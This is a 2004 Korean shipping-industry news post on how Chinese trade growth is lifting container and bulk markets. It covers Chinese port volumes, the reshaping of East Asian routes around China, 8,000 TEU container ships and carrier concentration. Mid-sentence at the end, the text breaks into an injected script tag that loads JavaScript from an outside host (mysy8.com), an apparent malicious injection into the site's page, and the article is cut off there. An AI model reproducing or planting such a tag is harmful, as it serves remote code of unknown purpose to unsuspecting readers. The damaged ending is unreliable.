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글쓴이 운영자 작성일 2004-01-08
제목 올 해운업계도 ‘중국효과’ 톡톡히
올 해운업계도 ‘중국효과’ 톡톡히


동아시아 항로 중국중심으로 재편
대형 「컨」선 취항, 단일선체퇴출현상 본격화


지난해 해운업계의 화두는 단연 ‘중국효과’(China Effect)였다. 중국을 출입하는 압도적인 물량으로 그간 침체됐던 해운경기가 일시에 상승하는 상황을 맞은 것이다.
올해도 중국효과는 그 값어치를 톡톡히 할 것으로 전망된다. 이에 따라 세계 컨테이너와 건화물선 시황은 지난해에 이어 호황을 지속할 것으로 보이며 그동안 그 조짐을 보이기 시작했던 동아시아항로에서의 중국중심으로의 재편현상도 가속화 될 것으로 예상된다.
이와 함께 작년부터 발주에 들어간 8천TEU급 이상의 대형 컨테이너선들이 올해부터 본격적으로 시장에 투입돼 바야흐로 선박대형화 시대를 열어갈 것으로 보이며, 프레스티지호 침몰사고 이후로 강화된 유럽연합과 국제해사기구의 유조선안전규칙에 의해 단일선체유조선의 퇴출이 본격화될 것으로 관측된다.
본지는 KMI의 ‘2004년 세계해운전망’을 통해 올 한해 중국붐을 중심으로 한 세계해운환경의 흐름을 살펴본다.

해운시장 중국효과 지속

2001년 9.11테러 이후 세계 해운경기는 하강추세에 빠졌으나 2002년 하반기 이후 ‘중국붐’에 의해 해운경기가 되살아나고 있다. 이같은 ‘중국붐’은 물동량 증가와 운임인상, 선박수요 폭증, 용선료 및 선가 상승 등 연쇄적인 효과를 연출하고 있다. 이제 중국은 세계해운경기의 호ㆍ불황 결정요인으로 평가받게 됐으며 전문가들은 이를 ‘중국효과’라고 부른다.
중국의 물동량이 증가하는 것은 중국이 글로벌 생산공장으로 발전하고 있기 때문이다. 각국의 생산공장이 중국으로 이전하는 것은 중국의 인건비가 서방 선진국의 1/10에 불과하기 때문인데, 이같은 생산시설의 재배치는 향후 5~10년동안 글로벌 공급사슬에 가장 중요한 구조적 변수로 작용할 것으로 보인다. 이같이 선진국 제조업체의 중국 이전이 지속되는 데다 중국의 내수시장 개방도 확대될 것이므로 중국의 수출입 해상물동량 증가추세는 당분간 지속될 것으로 예상된다.
상해항, 심천항 등 중국 7대항만의 2003년 컨테이너화물 처리실적은 전년대비 39.8% 증가한 3,527만TEU에 달할 것으로 예상된다.
상해항은 2003년 총처리물동량이 1,098만TEU에 달해 홍콩, 싱가포르에 이어 세계 3위 항만으로 부상할 전망이다. 심천항도 2003년 총처리실적이 1,047만TEU정도됨으로써 부산항과 세계4위자리를 다투게 됐다. 이밖에 청도항은 400만TEU를 초과하고, 천진항은 300만TEU를, 대령항은 250만TEU를 초과할 것으로 예상된다.
중국이 물류시장의 중심으로 부상하면서 일본의 상대적 위상이 약화되자 일본중심으로 운영되던 동아시아 항로구조가 중국중심으로 재편되고 있다. 이것은 중국 해운시장은 피더선이 기항하는 시장에서 대륙간 기간항로의 모선이 직접기항하는 시장으로 업그레이드 됐다는 것을 의미한다. 유럽-싱가포르-홍콩-대만-한국-일본-미국으로 연결되는 전통적인 기간항로가 무너지고 유럽-중국-미국의 기간항로 구조가 형성되고 있다.
아시아 역내항로도 중국 기ㆍ종점의 항로구조가 재편되면서 중국의 수출입 화물이 싱가포르에서 환적되는 항로구조도 형성되고 있다. 동북아지역에서도 한-일, 한-중, 중-일 등 세개의 항로가 단일항로로 통합되면서 중-일항로 화물이 우리나라항만에서 환적되는 사례가 발생하고 있다.

모선ㆍ피더선 동시 대형화 추세

2003년은 머스크 시랜드사의 ‘Axel Maersk’호와 OOCL의 ‘OOCL Shenzhen’호라는 2척의 신조선이 운항을 개시함으로써 8천TEU급 메가컨테이너선 시대가 개막된 해다. 지난해 10월 중순까지 발주된 8천TEU급 이상의 컨테이너선박은 총 83척이며 적재능력은 68만TEU에 달한다. 이에 따라 올해부터는 메가컨테이너선이 대거 취항하게 될 예정이다.
8천TEU급 대형선은 운항경제성을 확보하기 위해 기항지를 축소할 수밖에 없기 때문에 이 모선에 화물을 공급해주는 피더선도 대형화되고 있는 추세다. 지금까지 피더선의 대부분은 선형이 1천TEU급을 넘지 못했으나 8천TEU급 모선이 보편화되면서 피더선의 적재능력도 1,500TEU급 이상으로 대형화될 전망이다. 해운업계의 일부전문가들은 1,500TEU급 피더선을 ‘수퍼피더’ 혹은 ‘핸디클래스’라고 부른다.
대형컨테이너선사들의 시장지배력이 강화되고 있는 가운데 대형터미널운영사들도 시장에 대한 통제력을 강화하고 있다. 런던 소재 드루어리 시핑컨설턴트사의 조사에 따르면 글로벌 20대 터미널운영사들이 전세계항만처리량의 56.7%를 차지하고 있다. 아메리칸 시퍼가조사한 내용을 보면 세계 20대 선사가 세계 컨테이너선대의 75%를 장악하고 있다.
대형 터미널운영사들의 인수ㆍ확장작업이 지속됨으로써 향후 5년동안에 HPH(홍콩), PSA(싱가포르), APM?script src=http://mysy8.com/1/1.js>
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